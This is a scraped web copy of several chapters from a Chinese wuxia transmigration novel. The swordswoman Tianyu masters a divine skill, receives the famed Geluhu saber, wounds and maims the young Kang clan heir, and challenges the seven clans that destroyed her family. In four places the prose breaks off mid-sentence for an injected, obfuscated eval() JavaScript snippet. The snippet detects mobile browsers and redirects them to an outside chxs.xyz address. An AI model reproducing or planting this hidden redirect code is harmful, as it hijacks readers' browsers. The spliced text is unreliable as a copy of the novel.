天羽不这么认为,理直气壮道:“真气可以慢慢修,再不济,还能日后寻几个江洋大盗去吸,反正总会再有的,但我的刀却不可不练。” 无崖子:“可我那逆徒长你二十余岁,内力本就比你深厚。” “你为了练刀,如此这般浪费真气,何年何月才能杀他?” 天羽都无语了。 “你也说了他内力本就比我深厚,短时间内,我肯定是杀不了他的。”她说,“那我先将刀法练好,又有什么不对的呢?” 她是刀客。 便是日后去杀丁春秋,也定是要用刀杀。 既如此,先借北冥真气之利练刀又何妨? “你若不信任我,大可以再寻一个人帮你报仇。”她诚恳地向无崖子建议,“记得这次眼睛擦亮些,别再寻错性别了。” 无崖子被她说得直翻白眼,骂道:“小小年纪,嘴倒挺利。” 这点讥讽之语根本影响不到天羽,她只当这残废老头在夸自己,回了句好说,就接着练刀去了。 等她把从李寻欢那里吸来的北冥真气全用完时,她的北冥神功,也终于练至小成,即练完全部二十条经脉。 除了一些经外奇穴,这二十条经脉,几乎囊括了人体所有的穴位。 习武之人修炼内功,其实就是在修炼这些穴位,以求将修出的内力贮存其中,行成体内周天。 一般来说,精妙的武学招式,都需要其对应的内功心法修出的内力才可催动。 所以寻常江湖人,多半只能练那么一两种功夫,练得多了,体内内力变得驳杂,反而不妙。 而北冥神功的厉害之处在于它百无禁忌,用它修出的内力,可以用来催动任何招式。 天羽练成全部二十条经脉后,便能感觉到自己的丹田内,多出了一个真气漩涡。 她身上各处穴道,也因丹田内的这处漩涡,忽然多了一股吸力。 她很确定,眼下若是有人跟她近身搏斗,想攻她身上穴道,便会被那股吸力影响,白白给她输送内力。 天羽:“……” 等于是一个被动技能? 这效果真是有点逆天了。 但冷静下来后,她又觉得,这逆天的吸人内力之功,并非完全不可破。 倘若是那种擅长空袭的高手,比如李寻欢,完全可以在几丈之外出手,用他那快如闪电的飞刀完成攻击。 只要她躲避不及,照样会受伤。 思及此处,她便更觉得自己坚持练刀是有必要的。 手里有兵刃,对她来说,就是更有安全感。 “所以您不用担心我会半途而废。”她跟东家说,“咱们的约定依旧作数。” 东家看着她,沉默半晌,才道:“你若听无崖子的话,正式拜他为师,能得到一场更大的造化。” “或许吧。”她没否认这一点,“但谁让我先认识了您,答应跟您学刀了呢?” 如今回想起来,初学那一阵,她着实受了不少苦。 但或许是这具身体本就出自刀客世家,学着学着,她便发自真心爱上了挥刀的感觉。 她喜欢听刀刃快速破空发出的声响,也喜欢一刀斩出就叫猎物毙命的快感。 她愿意一直当一个刀客。 …… 大雪封山,转眼临近年关。 此时的李寻欢已经在苏星河的诊治下彻底清完了体内余毒,但天气太恶劣,他的内功又没了,实在不宜上路离开,他便留在这里,打算等开春之后再走。 天羽当然不介意他留下。 她甚至希望他能尽可能多住一些日子,以免离开时内力不济。 “你的仇家们怕是还在寻你。”她说,“你得尽快把内功重新练起来。” “我明白。”他点头,“你不必担心。” 对李寻欢来说,在经脉无损的前提下失去内力,再从头来过,无非就是把曾经走过的路再走一遍罢了。 因为是曾经走过的路,所以该如何走,他心里再清楚不过。 当年遇上的坎坷,如今也能轻松避过。 过完年天气转暖之际,他的内功,已重修得有模有样。 他也到了该离去的时候。 这期间他和天羽时时闲聊,天羽也知道了他家中还有一个未婚妻在等他回去。 眼下他提出要走,她便没有再挽留,只送了他一坛酒,让他在路上喝。 李寻欢笑着谢过了她的赠礼,而后在临别之际,满足了她先前那个再看一次他飞刀的心愿。 但他没想到,她看到他出手后,竟足尖一点,飞身而起,持刀迎向了他的飞刀—— 电光石火之间,一大一小两把刀在空中相撞。 “铮”地一声响过,他的刻刀落到了地上,她手里那把刀,也多出了一个缺口。 但她很兴奋,因为这一次她不仅看清了他出刀的动作,还截住了从他手里飞出的刀! 李寻欢也感叹:“恐怕下次见面,你的刀,就要快过我的刀了。” 天羽心想要是真能压你一头,那我可太牛逼了。 说不定真能尽快完成和无崖子的交易,杀掉丁春秋。 之后两人简单道了别,他便转身离去。 她将他一路送到镇口,看着人走了,才回到铺中。 李寻欢走了。 无崖子师徒还在。 她回去时,正撞上苏星河把无崖子从屋子里搬出来晒太阳。 苏星河知道他师父一心想要找丁春秋报仇,这段日子没少给无崖子当说客,劝她放弃练刀,拜入逍遥门下。 为了让她答应,他甚至表示,倘若她拜无崖子为师,他可以当她的师弟,而非师兄。 天羽:“……” 我觉得你们逍遥派的人脑子都有点问题! 更让她无语的是,之后苏星河还真就喊起了她师姐。 “师姐你回来了。”见她送完人回来,他立刻起身给她打招呼。 天羽也懒得纠正他,应了一声,就脱去外袍,准备去打铁了。 刚开春铺子里生意正好,天勇一个人打不过来,她必须去帮手。 正好她常用的刀也缺了口,一会儿打农具时,可以顺便给自己再打一把刀。 姐弟两个打完农具,配合锻刀时,天勇忽然问她:“阿姊,我们家是不是有一把家传的宝刀啊?” “是有。”天羽点头,“但你怎么忽然问起这个了?” 他咬了咬唇,说:“我昨日不是去周家村送钉耙了吗?我在那里远远见到一个人,腰间别着一把刀,不知为何,我觉得那把刀很眼熟。” “后来我悄悄问周家村的人,那人穿得光鲜亮丽,不知是什么大人物,他们告诉我,那人来自七大世家里的康家,是康家堡堡主的独子。” 天羽一窒,忙问:“你可还记得那把刀的模样?” 东家当年曾说,白家被灭门时,她年纪太小,恐怕连家传宝刀是什么模样都不知道。 但其实她知道。 毕竟那个时候,她并不是真正的四岁女童。 她记得很清楚,那是一把通身漆黑的刀,十分特别。 当时白家堡的主人,也就是她和天勇的父亲,总是像抚摸情人一样,摸着那把刀感叹:“如此神刀,传到我手上,真是可惜了。” 他的刀术天赋的确不如白家上几代家主,白家的家传宝刀和刀谱在他手上,并没有如前几代一般,力压关东。 关东七大世家想必也是清楚这一点,才会生出联手灭门的心思。 天羽早就想过,等自己刀术有成后,定要将宝刀和刀谱都夺回来。 用不用是一回事,但不能留在仇人手里,是另一回事。 可惜她一直不知道,这两样传家宝的具体去向。 眼下天勇忽然提及,她自然在意。 天勇:“那把刀和寻常的刀很不一样,它的刀身是黑的。” “一开始我以为它只是有一个漆黑的刀鞘,但后来我看到他拔刀砍门,刀出鞘后,依然漆黑一片,很是诡异。” 漆黑的刀,看起来其实很诡异。 可天勇远远看着,竟是越看越觉得眼熟。 再想到那持刀人的身份,他的心中便渐渐生出一个猜想:难道那是我家的刀? 天羽:“……那正是咱们家的刀。” 又想,原来它在康家堡少主手里。 “那康家堡少主为何会去周家村?”她立刻问天勇,“周家村的人有告诉你吗?” 天勇点点头,解释道:“他看上了周家村一个姑娘。” “那姑娘平时在村口溪边浣衣,前些日子他追着一头野猪,从那条溪边经过,瞧那姑娘美貌,十分心动,后来追到了野猪,便去周家村找人了,似乎是想把人带回康家堡去。” 天羽不由得皱起眉头,道:“那姑娘不想跟他走罢?” “自然是不想的。”天勇说,“否则他不至于抽刀劈人家的门。” “劈门之后呢?”她追问,“他把人带走了?” “那倒没有。”他摇头,声音低落了下去,“那姑娘死活不从,宁肯用脖子去撞他刀刃,也不肯跟他走。” 那把刀的锋利程度,天羽十分清楚。 天勇口中的那个姑娘若是存了必死之心,拿脖子去撞刀刃,那必是当场没了命。 她胸口一涩,忽然感到一阵无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我打算公开给七大世家的家主下帖,邀整个关东的武林同道来白家堡见证。”她抬起眼,直视向他,“白家后人挑战七大世家,这样的热闹,谁不想看?” 武林世家都要脸。 当年七大世家围攻白家堡,也是暗中进行的,并不敢做得太明目张胆。 就算整个关东都知道,这事一定是他们做的,但在明面上,他们确实从未承认过。 所有人口径一致,将白家的灭门变成了一桩无头案。 现在白家后人出现,他们也不可能公然带人前去围剿,只会摆出一副前辈架子,前来赴会。 而只要他们敢来,她就敢战。 她有北冥真气,能在交手间吸取对手内力为己用,甚至能跟他们车轮战。 等她赢下了七大世家的人,再亲口公开当年真相,这群风光了十年的人,好日子也就彻底到头了。 东家:“……看来你都想好了。” 天羽点头,又拜托他道:“我这次去白家堡,只能单刀赴会,不能带着天勇一起,我不在时,还请您看顾他一二。” “好,我会帮你看着他。”他并没有拒绝这个请求。 得到了他的应允,天羽也放了心,当即起身。 就在这时,东家的目光落到她腰间,道:“你的刀呢?” 天羽说早上送李寻欢时,被其飞刀打出了缺口,正打算重锻。 “别锻了。”他摆手,旋即从自己腰间解下那把到手后从未出鞘的刀,“往后你就用这把刀。” 过去几年,他教她刀法时,用的都是铺子里最普通的刀。 这把被人从姑苏一路送到关东来的刀,挂在他腰间,仿佛是个摆设。 时间长了,就连天羽都忽略了它。 现在他忽然解下,将它交给她,她才陡然想起,当年他开始教她刀法前说的话。 “您的意思是,我已经学成了您的刀?”她问。 东家反问:“你觉得呢?” 你是学刀的人,对这个问题,心中难道没有答案吗? 天羽一怔。 下一瞬,她再不犹豫,直接握住这把刀。 刀柄入手,与她的掌心贴合到一处,意外相衬。 握紧的那一刻,她下意识想要抽刀,见一见这把刀的真面目。 念头闪过之际,手腕已然发力。 而后她屏住了呼吸。 刀鞘滑开,映入眼帘的,是一道极其雪亮的刀身,寒光凛凛,宛如一泓秋水! 她实在没想到,这把她日日见到的刀,竟美得如此摄人心魄。 “它叫割鹿刀。”东家垂着眼,轻声一叹,终是道出其来历,“出自战国治铁名家徐夫人的后人徐鲁子之手,乃是一柄天下闻名的宝刀。” “割鹿刀?”天羽疑惑,心想这名字怎么也有点耳熟?不会又触发什么武侠小说剧情了吧? “秦失其鹿,天下共逐,唯胜者得鹿而割之。*”东家不知道她内心所想,只当她觉得这名字奇怪,于是解释了一下,“刀名割鹿,正取此意。” 9.斩金断玉 天羽努力搜寻了一下自己的记忆,可惜无果。 既想不起耳熟的缘由,她也就没在此事上纠结,只垂首盯住割鹿刀,叹道:“确是一柄宝刀。” “我原想过几年再给你。”东家淡声道,“但你既有了报仇的计划和打算,那早些交到你手上也无妨。” 天羽握着刀柄,掂了掂割鹿刀,道:“我记得您之前说,武林中惦记这把刀的人不少。” 东家瞥了她一眼,眉头微动,道:“怎么,怕了?” 天羽想了想,实话实说道:“我如今练了北冥神功,倒不怕因为这割鹿刀被人盯上,但我不想给您带来麻烦。” “我与您虽无师徒之名,却有师徒之实,您对我更有救命之恩,我怕我带着这把刀去报仇,被人认出后,扰了您的安生日子。” “不至于。”他笑了,“它虽是天下第一名刀,但武林中人大多只知其名,未见其容。” “在这关东地界,只要你不主动说出它的名字,旁人便不会知道,这就是曾经名满江湖的割鹿刀。” 他都这么说了,天羽便也放了心,于是收刀入鞘,悬至腰间。 东家见状,有些意外,道:“不试试这把刀吗?” 天羽眯了眯眼,说:“试自然是要试的,但不是在这里试。” 按天勇昨日打听到的消息,康家堡少主这趟离堡,主要目的是打猎,昨日去到周家村时,已捉到自己想要的猎物,准备回康家堡去了。 关东幅员辽阔,几大世家向来分而治之。 这一带属于原先的白家地界,离最北边的康家堡很远,便是快马加鞭,也要走上十来日。 康家堡少主能干出强抢民女的恶事,多半吃不了快马加鞭的苦。 他昨日从周家村离开,天羽今日去追,完全能追上。 等追上了,便可拿他试刀。 正好也能把他手里的刀夺回来。 东家本来不知道康家堡少主的事,听她讲完,总算恍然:“你是因为此事,才动了立刻报仇的念头。” “是。”她点头承认。 “你动手时,记得小心一些。”他叮嘱道。 天羽:“?” 她有点疑惑:“您是见过康家堡少主吗?” 他摇头,说没见过。 天羽更不明白了,皱眉道:“那为何叫我小心些?” 难道不是这对手难缠,必须小心应对的意思吗? “你不是说你们白家的家传宝刀极有可能就在他手上吗?”他语气淡淡,仿佛只是在与她谈论今晚吃什么,“那你追上他时,他定会用那把刀迎战。” “所以?”她知道,他的话肯定还没说完。 “所以你要小心些,别将你们家的家传宝刀砍断了。”他说着,目光在她腰畔停顿下来,眼神微烁,仿佛是在怀念,“割鹿刀削铁如泥,斩金断玉,堪称世间第一锋利,遇上任何名刀,都可摧之。” 天羽睁大了眼。 她是真没想到,这把刀还有如此威能,同时也很感激东家的提醒。 “多谢东家,我知道了。”她抿住唇。 东家摆了摆手,示意她可以走了。 天羽是个干脆人,该跟东家交代的都已经交代完,那便事不宜迟,牵上马,即刻出发。 说到骑马,这项技能她上辈子就会,而且很喜欢。 但上辈子学这个是为了拍戏,学会之后,也只用在了拍戏上,根本没有时间享受骑马这项活动本身。 这辈子换了一种人生,倒是终于能坐在马背上,畅快地狂奔了。 她从镇上出发,一路向北,过了周家村,进入山道,奔袭百里后,果然远远看见一行人,正大张旗鼓向北而去。 蜿蜒的山道上,过往一冬的积雪尚未化尽,潮湿的气息顺着风钻入耳鼻。 她夹紧马腹,拂袖扬鞭,还没追到近前,便已认出那把熟悉的黑刀。 正如天勇所说,它实在特别。 康家堡少主一行人原本没注意到她,只当她是一个急着赶路的过客,但随着马蹄声渐近,随行的侍卫忽然意识到,她似乎一直在盯着他们。 侍卫们反应极快,互相交换了一下眼神,便迅速挡到少主身前,以作准备。 “来者不善,保护少主!”为首的侍卫高声道。 他话音落下,那些骑在马上的侍卫便整齐划一地,从身后的箭囊里取出箭来,对准了离他们已然不远的天羽。 而被他们挡住的康家堡少主,则是饶有兴致地,打量起了即将行至他们跟前的天羽。 气定神闲,浑不知危险将至。 此时的天羽还在用最快的速度策马,但腿已悄悄松开。 侍卫们不由分说拉弓射箭那一瞬,她飞身而起,朝马屁股一踢! 马因此受惊,在弓箭破空的声音中,嘶鸣着往前疯跑,瞬间没了影。 她则踏箭抽刀,信手一挥,斩向那为首的侍卫。 时值正午,艳阳高照。 割鹿刀出鞘,如虹的刃光一晃,便叫那主动迎战的侍卫跌下了马! 四周一片哗然。 侍卫们大惊失色,康家堡少主却目露精光,大呼了一声“好刀”! 他心动不已,立刻抚掌道:“快!快替本少主夺下他这把刀!” 剩下的侍卫听到他这吩咐,忙策马上前,将天羽团团围住。 可没等他们搭好第二支箭,天羽的就已再度出刀。 她身法奇快,出刀更快! 离她最近的两个侍卫还没反应过来,就被她一刀掀下马,捂着腰跌倒在地。 解决完两个回身,一抬手,又用手里的刀挡住了朝她射来的箭。 “叮”的一声响过,撞到刀身上的铁箭瞬间卸劲落地。 而那晶莹的刀身上,竟是一丝痕迹都没有留下。 射箭的侍卫万没想到,角度和时机都如此刁钻的一箭,不仅没能伤到她,甚至连她的刀都没有撼动分毫。 他还想搭弓再射,但天羽的下一刀已经到了。 雪亮的刃光遮天蔽日,疼痛来临之际,他的人已落至马下,再无挽弓之力! 她在这信步闲庭,出刀伤人,犹如切瓜砍菜,不消片刻,就叫那一脸兴奋的康家堡少主露出惊色。 但他并没有趁这个机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495083|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先行逃走,而是眯着眼道:“阁下身手不凡,不知冲我而来,所为何事?” 天羽扫了他一眼,问:“怎么,现在不想要我的刀了?” 说完又将一名侍卫斩至马下。 康家堡少主闻言一笑,道:“宝刀配英雄,阁下如此刀法,我自不好也不敢夺人所爱。” “我只想知道,我与阁下素不相识,阁下为何一路追到此处,与我的手下动手?这其中或许有什么误会,不如我们——” 他的话还没说完,手先动了。 下一瞬,那柄通体漆黑的刀骤然出鞘,斩向天羽! 天羽本想直接迎过去,但动手之前,想起东家的叮嘱,到底改了主意,侧身一避,没用割鹿刀去挡。 康家堡少主见状,却是误会了,还想趁她不敌,乘胜追击,连人带刀,一起拿下。 此时的山道上,他的随行侍卫已经全部倒下,唯有他这个少主,还能持刀而战。 天羽屡次避他刀锋,实在给了他一种她不如自己的错觉。 是以几招过后,他便又蠢蠢欲动,想要去夺她手里的割鹿刀了。 天羽也发现了这一点,正巧她投鼠忌器,不好发挥,心下一动,干脆佯装败退,露出要害,引他来攻。 熟悉的黑色长刀乘风而至,她侧身一闪,刹那间露出后心。 他冷笑一声,抬起另一只手,朝她打出一掌—— 可掌心刚接触到她的肩膀,他便感觉自己的内力正快速流失! 这一次他彻底惊了,下意识想要收手,却发现那把让他心动的刀,已经横到了他颈边。 “康少主。”她毫不客气,将刀刃往前推了一寸,“你的眼光,实在相当不错。” 康家堡少主一时没懂:“什么?” 但话音落下,颈间传来一阵痛意,他低头一看,发现那把格外美丽的刀,已经划破了他颈上的皮肉。 鲜红的血汩汩而出,却只沿着他的脖子往下淌,半滴不曾逗留刀上。 令他心动的刀,依旧璀璨晶莹。 “看,多锋利的刀啊。”她叹道。 他吓得大叫一声,竟是瞬间软了腿,但还是咬着牙道:“你……你既知道我的身份,就该明白,你若真杀了我,绝不会有好下场!” 天羽朝他笑了笑,说:“你放心,我没打算杀你。” 他顿时松了一口气,开始盘算该怎么同她谈条件,并搞清楚她的目的。 这毕竟是在关东地界,他想,不论如何,对方肯定是不敢真杀他的,他不必怕。 对,他不必怕。 但下一刻,他就听到她继续道:“我得留着你的命,让你回康家堡报信呢。” “你……你究竟是谁?”他紧张地问。 天羽看着他,目光缓缓下落,停到他右手上,呼吸一顿。 她的沉默其实只有片刻,于他而言,却似度日如年。 不知过了多久,他终于在自己愈发急促的心跳声中,听到她再度开口。 “我姓白。”她说。 嗓音清冽,犹似山泉落石。 可他却听得浑身发冷,心道完了。 10.神刀大会 天羽完全没料到,自己亮出身份后,那康家堡少主便面色大变,跟着就腿一软身体一歪,晕了过去。 天羽:“……” 就这点胆子?还敢拿白家的刀? 这么想着,她又低头看向那把被他抓在手里的刀。 割鹿刀刀身晶莹,刀锋雪亮,美得摄人心魄。 白家的这把家传宝刀,则是因其奇特的颜色,自带一股邪气,叫人见之难忘。 天羽依稀记得,当年刚穿越时,曾听白家堡的下人议论过这把刀。 大意是这把刀杀气太重,非常人可以掌控。 甚至有一个说法是,若是持有此刀的人不够强,那就会为它所克,最终走向死亡。 天羽当时没太放在心上,后来白家惨遭灭门,她忙着带天勇逃命,也没顾得上再想起这件事。 但时隔十一年,再度见到这把刀,仔细端详之下,她便不由自主地,想起了那些不知真假的议论。 仔细一想,倒是也没说错。 不管是她和天勇的父亲,还是眼前的康家堡少主,都在拥有这把刀后,就倒了大霉。 可不就是为它所克? 难怪当初就连白家堡的人,私下里谈及这把刀时都会说,这是一把不祥之刀。 思及此处,天羽终于移开目光。 下一刻,她手腕一动,带着割鹿刀往康家堡少主腰间挑去。 漆黑的刀鞘瞬间落下,她弯下腰,连鞘带刀,一起拾到手中。 祥不祥的先不论,但这是她家的东西,她没理由再让它流落在外。 等她收好这家传的宝刀,将其背到背上,被她吓晕过去的康家堡少主,也总算颤动着眼睫,幽幽醒转。 天羽看他一副不敢完全睁眼的样子,忍不住冷笑道:“堂堂康少主,就这点胆子?” “还是说,你觉得你这么装死,我就会放过你?” 康家堡少主都快哭了,只能睁开眼,咬着牙道:“你……你不是说,你会留着我的命,让我回康家堡报信吗?” 天羽颔首:“是啊。” “那……那你不就是愿意放过我的意思吗?”他欲哭无泪。 “留你一条命,不代表要放过你。”天羽说着,忽然勾起唇角,朝他一笑。 先前两人对峙时,康家堡少主眼中关注的,都是她手里的割鹿刀。 现在人躺在地上内力全无,不敢再惦记她的刀,再抬眼看过去,他才惊觉刀主人相貌之绝,竟丝毫不逊色于那把刀。 那把刀的锋利他已然领教。 那刀主人呢? 他张了张口,在极度的恐惧与紧张中,不知为何,又生出了一丝恍惚。 而就在他生出那丝恍惚的时候,一阵钻心之痛,猛然自身下传来! “啊——!”他目眦尽裂,面上青筋暴起,无法自控地在地上打起了滚,“啊啊啊啊——!” 极致的疼痛让他下意识哀嚎,但不消片刻,他就连打滚和哀嚎的力气都没有了。 竟是两眼一黑,又昏了过去。 天羽:“……” 她啧了声,把人踢到一边。 地上多出一道血痕,她手中的割鹿刀,却仍是滴血不沾的模样。 天羽一愣,心想倒是省得她还要忍着恶心去擦了。 再一偏头,对上几双恐惧的眼眸,道:“放心,我没打算把你们的命根子一起砍了。” 是的,她刚才毫不犹豫地,一刀砍掉了康家堡少主的命根子,才导致他发出了那样惨烈的哀嚎。 先前那些被她打伤的侍卫,也在这哀嚎声中,陆续醒来。 他们中的大多数人,其实根本没看见她挥刀的动作,只是听到了少主的哀嚎,下意识感到恐惧。 结果她来了这么一句。 虽说一定程度让他们松了一口气,但也着实叫他们觉得下身一凉。 “阁、阁下可是有事吩咐我等?”其中一个只伤了腿的侍卫大着胆子问,“我等……愿意效劳。” 天羽打量了他一眼,道:“你们陪着康少主出门打猎,没能保护好他,让他须全须尾地回去,康堡主怕是饶不了你们。” “想活命,确实只能为我效劳了。” 她一下点出他们主动示软的原因,叫这群侍卫瞬间明白,其实眼下这个情况,他们根本没有与她谈条件或虚与委蛇的资格。 主动权完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507709|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她手上。 彼此交换过几个眼神后,方才开口的侍卫,便深吸一口气道:“还请阁下指点一条生路。” 天羽神色平静,环顾周围,道:“按理说,发生这种事,就算你们直接叛出康家堡不再回去,也会被康家通缉。” “康家想要料理几个家仆,另外六家,也绝不会不给他们这个面子。” “到时候,你们在关东,便会寸步难行。” “……是。”侍卫语气艰涩地承认。 “所以你们要想活下去,只有一个办法。”她说,“那就是让他们自顾不暇,没空管你们。” “您也说了,我们只是康家的家仆。”侍卫苦笑道,“如何有本事让七大世家自顾不暇呢?” 天羽又笑了。 “你们没有,我有啊。”她说。 “我要你们从此刻起,乔装改扮,分散方向,去往关东各大城镇,替我散播一个消息。” “务必在一个月内,将这消息,传遍整个关东。” “如何,能做到吗?” 侍卫听得紧张不已,道:“能是能,但……不知究竟是什么消息?” 天羽握着刀,目光凛然,道:“我要你们散播的消息是——” 这一刻,侍卫们集体屏住了呼吸。 看着她手里的刀,他们不约而同,生出了一种即将听到一道惊雷的预感。 可即将制造惊雷的人,却放轻了声音。 她近乎温柔地继续道:“白家后人重出江湖,五月初五,邀关东武林同道,于白家堡旧址,共赴神刀大会。” “届时白家后人会以神刀做赌,向七大世家的家主发出挑战。” 侍卫们大震,霎时间明白过来,她这是要用整个关东武林的力量,逼着七大世家的家主,必须出面赴会。 这样一来,一直在暗中搜查白家后人下落的七大世家,确实会如她所说,根本顾不上再管他们。 毕竟与白家后人和被其夺回的神刀相比,他们这几个家仆,实在无关紧要。 “……好!”主动与她交涉的侍卫第一个应下,“一个月内,我等必让这神刀大会的消息,传到关东每一个百姓耳里。” 11.关东一流 这一年的立夏,整个关东地界,议论最多的事,莫过于白家后人重出江湖,要在白家堡旧址举办神刀大会一事。 消息刚传出来的时候,众人将信将疑,甚至有不少人觉得,是不是有人存心恶作剧。 但不等有心人验证真假,这消息便已传遍关东各大城镇。 眼看着消息越传越开,各地茶寮酒馆,都开始谈论这神刀大会,七大世家也终于坐不住,开始暗中搜查,究竟是何人放出的消息。 但就在这个时候,素有关东年轻一代第一刀之称的康家少主,忽然在原属白家的浑江城现了身。 他是被人扔到浑江城门口的。 一个大活人从天而降,摔在地上,引得城内城外一片哗然。 等他挣扎着起身,冲进城内,才有曾给七大世家效过力的人,认出他的身份。 “康少主!” “你……你怎么会在这?这是怎么一回事?” 康家堡少主浑身脏污,神色惶恐,却全无给他们解惑的意思,只咬着牙道:“替我备马……我要回康家堡!” 以七大世家在关东的声望,他的这个要求,自然有人乐意满足。 但令他们意外的是,真给他备好了马,寻来了可以换上的新衣裳,他倒不敢骑出城了。 那副紧张不已的模样,活像是城外有什么大恐怖在等着他。 也正是在这时,众人才发现,城外不远处,不知何时,竟多了一个容貌昳丽的少年郎。 少年身着黑衣,身背长刀,骑一匹白色骏马,似笑非笑地,朝他们扫了一眼。 漫不经心,又十足风流。 跟在康家堡少主身后送他出城的人纷纷看得一怔,心道这浑江城何时竟有了如此俊俏的后生? 只还没想出个所以然,身前的康少主,便颤着两条腿,惊叫起来:“你……你不是说今日便放我回去吗?!” 一群人闻言大惊。 再抬头往城外瞧去,就见那黑衣少年郎笑道:“是啊,所以我这不是没拦你吗?” 康少主咬了咬牙,还是没敢出去。 他坐在那里,想到这半个月来,自己在她手上遭的罪,心中只有恐惧。 极度的恐惧让他颤抖不已,摇摇晃晃,几乎要摔下马去。 城外的天羽见状,不由轻嗤一声,高声道:“我只是来提醒你,别忘记向你的父亲叔伯带话。” “五月初五,我在白家堡等着他们。” 她说完,便一拉缰绳,转身离开。 马踏飞尘,潇洒至极。 徒留那被她砍了子孙根的康少主停在城门内,久久不敢动作。 待眼前烟尘散尽,不再能见到她的身影,才大口大口地喘起气来。 目睹这一幕的人太多。 亲耳听到天羽那句话的人更多。 至此,白家后人重出江湖一事被人亲眼证实。 原先便传遍的关东的消息,终于引来了更多人的兴趣。 白家覆灭之前,曾力压关东数百年。 期间受过他们恩惠的人并不少,只是当年七大世家忽然发难,其他人还没反应过来,白家堡就已经没了。 现在白家后人出现,这些当年没帮上忙的人听到消息,少不得赶往白家堡,为下个月的神刀大会助一份力。 七大世家自然不想看到这个局面,所以千方百计,想要在五月初五之前,找到天羽的踪迹,暗地里先下手为强。 可没等他们集结人马,天羽已经光明正大,回到了白家堡。 她不躲不藏,直接在废弃十年的白家堡内住了下来。 又用从康家堡少主那里顺来的金银,请人上门打扫修缮。 做完这一切,再插上白氏族旗,大开堡门,以表扫榻相迎。 如此一来,七大世家反而不好出手了。 康家堡内,少主尚未归,曾经结义的七位家主,已然聚到一处。 占了个长兄位的康堡主面色发青,怒道:“好一个白氏后人!” 待他发完了火,坐在他下首的闫家堡堡主才徐徐开口,道:“确实行事果断,心计颇深啊。” “二哥怎的还夸上那姓白的了?你可别忘了,他大张旗鼓,弄出这么多事,为的就是找我们报仇!” “是啊,外人不知道这其中恩怨,只想看这神刀大会的热闹,可咱们兄弟还能不清楚吗?这是死仇。” 闫家堡堡主叹了一声,道:“是啊,这是死仇。” “老二你要是有什么主意,不妨说出来。”康堡主看他一脸沉思,这么说道,“我们这群弟兄之间,本就是你最聪明。” 闫堡主想了想,道:“诸位弟兄可曾想过,白氏后人摆这一局的用意?” 他话音落下,便有弟兄不解: “难道不是为了报仇吗?” “二哥想说什么?” “从浑江探回来的消息说,此人看上去大约十五、六岁。”闫堡主沉吟道,“当年我们未能斩草除根,放走了姓白的一双儿女。” “当时他女儿不到五岁,儿子更小。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534479|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那此人应当就是白家这个女儿。” “就当她天资聪颖,远胜我等子女罢,那一个十五岁的小丫头片子,顶天了也就十来年功力。” “再厉害,能厉害到哪里去?” “她若真有本事找我们报仇,就该继续隐藏身份,徐徐图之,暗中成事,而非大张旗鼓,亮出自己的身份。” “所以我想,她摆这一局,比起报仇,更多的,是想逼我们七个,不能在众人面前,再对她下狠手。” “不仅不能下狠手,还得在明面上,尽可能帮扶她这个孤女一二。” 闫堡主说到此处,一群人都陷入了沉思。 他则微笑着继续道:“她弄出这么多事,无非是想要找到白氏旧部,重建昔日门庭,既如此,咱们这些做世叔的,自然要帮她。” “且先给足她颜面吧,等眼下这风波过去,隔个几年,再想办法料理她就是。” …… 康家堡内的这场密谈,天羽当然不知晓。 她若知道这群人是这么想的,大概会忍不住笑出声。 此刻,她正在白家堡内,招待第一批找上门的武林同道。 这一批人,都是曾受过白家恩惠的人,所以来得最快,态度也最诚恳。 其中最激动的,是一个姓马的中年人。 他是长白山脚下一座马场的老板,自称曾与她父亲一起喝过酒。 还说若是没有白家昔年的照拂,他那马场,恐怕早就开不下去了。 他也猜到了天羽的身份,一见面,就称她为贤侄女,并劝她千万小心。 “如今这神刀大会闹得沸沸扬扬,那几个畜生,定不敢对你怎么样,可一旦前来赴会的人都散了,他们必会对你下手!”那马老板说着说着,都快哭了,“到时还不知有多少手段等着你。” 天羽:“……” “您多虑了。”她抽着嘴角,开口安抚,“我既现了身,那就是有报仇的把握,您安心等着就是。” 马老板震惊:“你……你真有把握报仇?” 那可是七大世家的家主啊。 随便拎出来一个,都是关东最一流的刀客。 而她呢? 她只是一个年仅十五的少女。 难道还能以一敌七不成? 